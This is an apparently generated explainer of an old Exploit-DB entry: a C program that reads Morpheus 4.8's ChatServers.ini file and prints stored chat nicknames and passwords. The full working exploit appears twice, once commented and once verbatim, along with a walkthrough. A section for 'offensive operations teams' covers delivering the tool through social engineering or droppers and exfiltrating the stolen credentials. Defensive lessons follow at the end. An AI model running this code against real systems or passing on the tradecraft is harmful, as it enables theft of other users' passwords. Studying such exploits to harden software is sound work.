Morpheus 4.8 Local Chat Password Disclosure Exploit Explained

Morpheus 4.8 Local Chat Password Disclosure Exploit Explained
What this paper is
This paper describes a local exploit for Morpheus version 4.8 (and likely earlier versions) developed by Kozan. The vulnerability allows a local user to read chat passwords stored in a configuration file. The exploit code provided demonstrates how to locate and extract these passwords.
Simple technical breakdown
The Morpheus application stores chat server connection details, including usernames and passwords, in a configuration file named ChatServers.ini. This file is located within the Morpheus installation directory. The exploit works by:
- Locating the Morpheus installation directory: It queries the Windows Registry to find the path to the
ProgramFilesDir. - Constructing the configuration file path: It appends the relative path to
ChatServers.inito theProgramFilesDir. - Searching for specific strings: It reads the
ChatServers.inifile and searches for lines starting with "Nick=", "AltNick=", and "Pwd=". - Extracting the values: Once a matching string is found, it extracts the value that follows it, which represents the username or password.
Complete code and payload walkthrough
The provided C code is a Windows executable designed to exploit the vulnerability.
/*******************************************************************
Morpheus 4.8 Local Chat Passwords Disclosure Exploit by Kozan
Application: Morpheus 4.8 (and probably prior versions)
Vendor: Streamcast Networks - www.streamcastnetworks.com
Vulnerable Description: Morpheus 4.8 discloses chat passwords
to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*******************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
// Global variables for registry operations
HKEY hKey;
#define BUFSIZE 100 // Maximum buffer size for paths and strings
char prgfiles[BUFSIZE]; // Buffer to store the Program Files directory path
DWORD dwBufLen=BUFSIZE; // Length of the buffer for registry query
LONG lRet; // Return value for registry operations
// Function to find the offset of a string within a file
int adresal(char *FilePath,char *Str)
{
char kr; // Character read from file
int Sayac=0; // Counter for characters read
int Offset=-1; // Offset of the found string, initialized to -1 (not found)
FILE *di; // File pointer
// Open the file in binary read mode
di=fopen(FilePath,"rb");
// If file cannot be opened, return -1
if( di == NULL )
{
fclose(di); // Close the file pointer (though it's NULL, good practice)
return -1;
}
// Loop until the end of the file is reached
while(!feof(di))
{
Sayac++; // Increment character count
// Iterate through the characters of the search string
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di); // Read a character from the file
// If the read character does not match the current character in the search string
if(kr != Str[i])
{
// If we were partially matching (i > 0), seek back to re-evaluate from the correct position
if( i>0 )
{
// Seek back 'Sayac' characters from the current position, plus 1 to account for the character that didn't match
// Note: This fseek logic seems a bit off. It's trying to re-align after a mismatch.
// A more typical approach would be to seek back 'i' characters.
// The intention is to not miss potential matches that start within the partially matched sequence.
fseek(di,Sayac+1,SEEK_SET);
}
break; // Break the inner loop to try matching the next character from the file
}
// If we have matched all characters of the search string
if( i > ( strlen(Str)-2 ) ) // This condition checks if the last character of Str has been matched
{
// Calculate the offset: current file position minus the length of the search string
Offset = ftell(di)-strlen(Str);
fclose(di); // Close the file
return Offset; // Return the calculated offset
}
}
}
fclose(di); // Close the file if the string was not found
return -1; // Return -1 indicating the string was not found
}
// Function to read a string from a file after a specific delimiter string
char *oku(char *FilePath,char *Str)
{
FILE *di; // File pointer
char cr; // Character read from file
int i=0; // Index for the Feature buffer
char Feature[500]; // Buffer to store the extracted feature (username/password)
char AhUlanSelmanOmrumuYedin = 0x0D; // Carriage Return character (ASCII 13) - used as a delimiter
// Find the starting offset of the search string (e.g., "Nick=")
int Offset = adresal(FilePath,Str);
// If the search string was not found, return an empty string
if( Offset == -1 )
return "";
// Open the file again in binary read mode
if( (di=fopen(FilePath,"rb")) == NULL )
return ""; // Return empty string if file cannot be opened
// Seek to the position immediately after the found search string
fseek(di,Offset+strlen(Str),SEEK_SET);
// Read characters until a Carriage Return (0x0D) is encountered
while(!feof(di))
{
cr=getc(di); // Read a character
if(cr == AhUlanSelmanOmrumuYedin) // If it's a Carriage Return
break; // Stop reading
Feature[i] = cr; // Store the character in the Feature buffer
i++; // Increment the buffer index
}
Feature[i] = '\0'; // Null-terminate the Feature string
fclose(di); // Close the file
return Feature; // Return the extracted string
}
// Main function where execution begins
int main()
{
// Attempt to open the HKEY_LOCAL_MACHINE registry key
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", // Path to the key
0, // Reserved, must be zero
KEY_QUERY_VALUE, // Access rights: query values
&hKey) == ERROR_SUCCESS) // If opening the key is successful
{
// Query the "ProgramFilesDir" value from the registry
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen); // Store the path in prgfiles
// Check if the query was successful and the buffer was large enough
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey); // Close the registry key
printf("An error occured!\n"); // Print an error message
exit(1); // Exit the program
}
RegCloseKey(hKey); // Close the registry key
}
else // If opening the registry key failed
{
RegCloseKey(hKey); // Close the registry key (though it might not be open)
printf("An error occured!\n"); // Print an error message
exit(1); // Exit the program
}
// Construct the full path to the ChatServers.ini file
strcat(prgfiles,"\\StreamCast\\Morpheus\\ChatServers.ini");
// Print exploit information
printf("Morpheus 4.8 Local Chat Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n");
printf("kozan@netmagister.com \n\n");
// Declare buffers to store extracted information
char Nickname[BUFSIZE], AltNick[BUFSIZE], Password[BUFSIZE];
// Extract Nickname, AltNick, and Password using the 'oku' function
strcpy(Nickname,oku(prgfiles,"Nick="));
strcpy(AltNick,oku(prgfiles,"AltNick="));
strcpy(Password,oku(prgfiles,"Pwd="));
// Print the extracted information
printf("Nickname : %s\n",Nickname);
printf("Altnick : %s\n",AltNick);
printf("Password : %s\n",Password);
return 0; // Exit successfully
}
// milw0rm.com [2005-04-13]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>,#include <string.h>,#include <windows.h>: Standard C and Windows API header files for input/output, string manipulation, and Windows-specific functions (like registry access).HKEY hKey;: A handle to a registry key. Used to interact with the Windows Registry.#define BUFSIZE 100: Defines a constant for buffer sizes, limiting the length of strings like file paths and extracted data.char prgfiles[BUFSIZE];: A character array (buffer) to store the full path to the Program Files directory.DWORD dwBufLen=BUFSIZE;: A variable to hold the size of theprgfilesbuffer, used during registry queries.LONG lRet;: A variable to store the return status of Windows API calls, particularly registry functions.int adresal(char *FilePath,char *Str): This function searches for the first occurrence of a string (Str) within a specified file (FilePath).FILE *di;: File pointer.fopen(FilePath,"rb"): Opens the file in binary read mode.feof(di): Checks for the end-of-file marker.getc(di): Reads a single character from the file.strlen(Str): Gets the length of the search string.fseek(di,Sayac+1,SEEK_SET): This line is intended to reposition the file pointer. The logic here is a bit unusual; it attempts to recover from a partial match by seeking back.ftell(di)-strlen(Str): Calculates the starting offset of the found string.- Returns the offset if found,
-1otherwise.
char *oku(char *FilePath,char *Str): This function reads data from a file starting after a specified delimiter string (Str) until a Carriage Return character (0x0D) is encountered.char Feature[500]: Buffer to store the extracted data (e.g., password).char AhUlanSelmanOmrumuYedin = 0x0D;: Defines the Carriage Return character as a delimiter.adresal(FilePath,Str): Callsadresalto find the position of the delimiter string.fseek(di,Offset+strlen(Str),SEEK_SET): Moves the file pointer to the position immediately after the delimiter.- Reads characters into
Featureuntil0x0Dis found. Feature[i] = '\0';: Null-terminates the extracted string.- Returns the extracted string or an empty string if not found.
int main(): The entry point of the program.RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ...): Opens the specified registry key to access system information.RegQueryValueEx(hKey, "ProgramFilesDir", ...): Queries the value of "ProgramFilesDir" from the registry, which typically points to theC:\Program Filesdirectory.strcat(prgfiles,"\\StreamCast\\Morpheus\\ChatServers.ini"): Concatenates the default Morpheus installation path to theProgramFilesDirto form the full path to the configuration file.strcpy(Nickname,oku(prgfiles,"Nick=")): Callsokuto extract the value associated with "Nick=".strcpy(AltNick,oku(prgfiles,"AltNick=")): Callsokuto extract the value associated with "AltNick=".strcpy(Password,oku(prgfiles,"Pwd=")): Callsokuto extract the value associated with "Pwd=".printf(...): Prints the extracted Nickname, AltNick, and Password to the console.
Shellcode/Payload Segments:
There is no explicit shellcode or binary payload in the traditional sense. The "payload" is the compiled C code itself, which when executed, performs the actions described above. The output of the program is the disclosure of the chat credentials.
Practical details for offensive operations teams
- Required Access Level: Local user privileges are sufficient. The exploit targets a file accessible by any user on the system and reads from the registry, which is generally readable by all users.
- Lab Preconditions:
- A Windows operating system (likely Windows XP or similar, given the 2005 publication date).
- Morpheus version 4.8 (or a vulnerable prior version) installed on the target system.
- The
ChatServers.inifile must exist in the default Morpheus installation path (%ProgramFiles%\StreamCast\Morpheus\ChatServers.ini). - The
ChatServers.inifile must contain entries with "Nick=", "AltNick=", and "Pwd=" prefixes.
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit code into an executable.
- Standard Windows command-line utilities for execution.
- Execution Pitfalls:
- Morpheus Installation Path: If Morpheus is installed in a non-standard directory, the
strcatline will need modification to reflect the correct path toChatServers.ini. The registry query forProgramFilesDirmight also return an unexpected path on different Windows versions or custom installations. - File Format Variations: If the
ChatServers.inifile format changes significantly (e.g., different delimiters, different key names), theadresalandokufunctions would need adjustments. The use of0x0D(Carriage Return) as a delimiter is specific. - File Permissions: While unlikely for a typical user installation, if the
ChatServers.inifile has restricted read permissions, the exploit would fail. - Registry Access: Extremely rare, but if
ProgramFilesDiris not set or inaccessible, the exploit will fail early. - Buffer Overflows: The
BUFSIZEis defined as 100. If theProgramFilesDirpath or the extracted values exceed this, buffer overflows could occur, potentially leading to crashes or unpredictable behavior, though not directly exploitable for remote code execution in this context.
- Morpheus Installation Path: If Morpheus is installed in a non-standard directory, the
- Tradecraft Considerations:
- Reconnaissance: Confirm the presence and version of Morpheus. Identify the installation path if it deviates from the default.
- Delivery: The compiled executable would need to be delivered to the target system. This could be via social engineering, a dropper, or as part of a larger post-exploitation framework.
- Execution: The executable needs to be run by a local user.
- Persistence: This exploit itself does not provide persistence. If persistence is required, it would need to be established separately.
- Data Exfiltration: The extracted credentials would need to be exfiltrated from the target system. This could be done by printing them to a file, sending them over a network channel, or embedding them in other outbound traffic.
Where this was used and when
- Context: This exploit targets the Morpheus peer-to-peer file-sharing application. The vulnerability lies in how Morpheus stores sensitive chat credentials in a plain-text configuration file.
- Approximate Years/Dates: The exploit was published on April 13, 2005. Therefore, its relevant usage period would be around 2005 and potentially a few years prior, coinciding with the active use of Morpheus and similar P2P applications. It's unlikely to be relevant for modern systems unless an extremely old and unpatched version of Morpheus is found.
Defensive lessons for modern teams
- Secure Configuration Storage: Never store sensitive credentials (passwords, API keys, etc.) in plain text configuration files. Use encryption, secure vaults, or Windows Credential Manager.
- Principle of Least Privilege: Applications should not store configuration files in globally writable locations. User-specific configurations should be in user profile directories.
- Input Validation and Sanitization: While not directly a code execution vulnerability here, applications should validate and sanitize any data read from configuration files to prevent unexpected behavior or parsing issues.
- Regular Patching and Updates: Keep all installed applications, especially those that handle sensitive data or have network components, up-to-date with the latest security patches.
- File Integrity Monitoring: Monitor critical configuration files for unauthorized modifications.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious file access patterns (like reading specific
.inifiles) and registry queries, potentially flagging this activity. - Application Whitelisting: Prevent the execution of unauthorized executables, including custom exploit tools.
ASCII visual (if applicable)
This exploit's flow is primarily linear and file/registry-based, making a complex ASCII diagram less impactful. However, a simplified representation of the data flow can be shown:
+-------------------+ +-----------------------+ +--------------------------+
| Target System | | Morpheus Installation | | ChatServers.ini |
| (Local User) | --> | Directory | --> | (Plaintext Credentials) |
+-------------------+ +-----------------------+ +--------------------------+
| ^
| Registry Query | File Read
| (ProgramFilesDir) |
v |
+-------------------+ +-----------------------+ +--------------------------+
| Exploit Executable| --> | Configuration File Path | --> | Data Extraction |
| (Compiled C Code) | | (e.g., C:\Program Files\ | | (Nick, AltNick, Pwd) |
| | | StreamCast\Morpheus\ | | |
| | | ChatServers.ini) | | |
+-------------------+ +-----------------------+ +--------------------------+
|
v
+-------------------+
| Console Output |
| (Disclosure) |
+-------------------+Source references
- Paper ID: 935
- Paper Title: Morpheus 4.8 - Local Chat Passwords Disclosure
- Author: Kozan
- Published: 2005-04-13
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/935
- Raw URL: https://www.exploit-db.com/raw/935
Original Exploit-DB Content (Verbatim)
/*******************************************************************
Morpheus 4.8 Local Chat Passwords Disclosure Exploit by Kozan
Application: Morpheus 4.8 (and probably prior versions)
Vendor: Streamcast Networks - www.streamcastnetworks.com
Vulnerable Description: Morpheus 4.8 discloses chat passwords
to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*******************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");
if( di == NULL )
{
fclose(di);
return -1;
}
while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}
char *oku(char *FilePath,char *Str)
{
FILE *di;
char cr;
int i=0;
char Feature[500];
char AhUlanSelmanOmrumuYedin = 0x0D;
int Offset = adresal(FilePath,Str);
if( Offset == -1 )
return "";
if( (di=fopen(FilePath,"rb")) == NULL )
return "";
fseek(di,Offset+strlen(Str),SEEK_SET);
while(!feof(di))
{
cr=getc(di);
if(cr == AhUlanSelmanOmrumuYedin)
break;
Feature[i] = cr;
i++;
}
Feature[i] = '\0';
fclose(di);
return Feature;
}
int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
exit(1);
}
RegCloseKey(hKey);
}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
exit(1);
}
strcat(prgfiles,"\\StreamCast\\Morpheus\\ChatServers.ini");
printf("Morpheus 4.8 Local Chat Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n");
printf("kozan@netmagister.com \n\n");
char Nickname[BUFSIZE], AltNick[BUFSIZE], Password[BUFSIZE];
strcpy(Nickname,oku(prgfiles,"Nick="));
strcpy(AltNick,oku(prgfiles,"AltNick="));
strcpy(Password,oku(prgfiles,"Pwd="));
printf("Nickname : %s\n",Nickname);
printf("Altnick : %s\n",AltNick);
printf("Password : %s\n",Password);
return 0;
}
// milw0rm.com [2005-04-13]